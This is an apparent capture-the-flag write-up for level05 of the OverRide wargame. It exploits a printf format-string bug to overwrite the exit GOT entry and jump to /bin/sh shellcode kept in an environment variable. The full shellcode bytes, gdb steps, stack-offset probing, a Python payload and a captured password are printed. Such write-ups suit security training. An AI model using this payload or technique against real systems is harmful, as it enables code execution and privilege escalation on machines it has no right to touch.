./level05

```
RELRO       STACK CANARY      NX           PIE       RPATH      RUNPATH      FILE
No RELRO    No canary found   NX disabled  No PIE    No RPATH   No RUNPATH   /home/user/level05/level05

level05@OverRide:~$
```

Decompiled file with ***Ghidra***:

```c
int main(void)
{
    int i = 0;
    char buffer[100];

    fgets(buffer, 100, stdin);

    int len = strlen(buffer);
    for (i = 0; i < len; i++)
        if (buffer[i] >= 'A' && buffer[i] <= 'Z')
            buffer[i] = buffer[i] ^ 0x20;

    printf(buffer);
    exit(EXIT_SUCCESS);
}
```

This level shares similarities with some levels from the **Rainfall** project, exploiting a vulnerability with **printf(buffer)**.
Directly changing the return address of the **main** function isn't feasible due to the use of **exit()** rather than **return**, and **fgets()** prevents *buffer overflows*.

The objective is to reroute the **exit** function call to execute our **shellcode**, which will be placed in an environment variable, and not in the **buffer**, because it is sanitised to lower case, which would break our shellcode.

This can be accomplished by targeting the **Global Offset Table (GOT)**, which holds the addresses of dynamically linked functions. By modifying the **GOT** entry for **exit**, we can make it point to our **shellcode**.

Using **Ghidra**, we found the **GOT** entry for **exit** as:

```
080497e0     0c a0 04 08      addr     <EXTERNAL>::exit
```

To ascertain the address of the **shellcode**, we will use **gdb** with a cleared *environment* to avoid any discrepancies that may arise from **environmental variables**:

```
level05@OverRide:~$ export SHELLCODE=$(python -c 'print "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')

level05@OverRide:~$ exec env - SHELLCODE=$SHELLCODE gdb -ex 'unset env LINES' -ex 'unset env COLUMNS' --args ./level05
(gdb) break main
Breakpoint 1 at 0x8048449
(gdb) run
Starting program: /home/users/level05/level05

Breakpoint 1, 0x08048449 in main ()
(gdb) x/s *((char **) environ+1)
0xffffdfbc:      "SHELLCODE=1\311\367\341Qh//shh/bin\211\343\260\v\315\200"
```

The beginning of our **shellcode** is positioned 10 bytes ahead of 0xffffdfbc to account for the length of the string **"SHELLCODE="**, resulting in the starting address being **0xffffdfc6**.

Due to the limitations of using a **printf width specifier** to write such large number directly, we must split the task into two smaller operations. We'll employ the **%hn** specifier to write two separate **16-bit integers**. We aim to write the value 57286 (0x**dfc6**) to the lower part of the **exit GOT address** (0x080497e0) and the value 65535 (0x**ffff**) to the higher part (0x080497e0 + 2), due to the little-endian byte order.

Using the **%x** format specifier with **printf**, we can find the starting position of the **printf** buffer in the **stack**, where we'll put the two halves of the **GOT** address for the **exit** function.

```
level05@OverRide:~$ ./level05 <<< $(python -c 'print "AAAABBBB" + "%x "*11')

aaaabbbb64 f7fcfac0 f7ec3af9 ffffd6ef ffffd6ee 0 ffffffff ffffd774 f7fdb000
61616161    62626262
```

The first and second parts of the **GOT** address for the **exit** function will respectively correspond to the 10th and 11th addresses on the stack.

```
level05@OverRide:~$ {
python -c '
writeLo = 0xdfc6
writeHi = 0xffff

GOTaddrLo = "\x08\x04\x97\xe0"[::-1]
GOTaddrHi = "\x08\x04\x97\xe2"[::-1]

paddingLo = writeLo - len(GOTaddrLo + GOTaddrHi)
paddingHi = writeHi - writeLo

print GOTaddrLo + GOTaddrHi + "%{}x%10$hn%{}x%11$hn".format(paddingLo, paddingHi)';
echo "cd ../level06 && cat .pass";
} | env - PWD=$PWD SHELLCODE=$SHELLCODE ~/level05

...

7fcfac0
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level05@OverRide:~$ su level05
Password: h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq

level06@OverRide:~$
```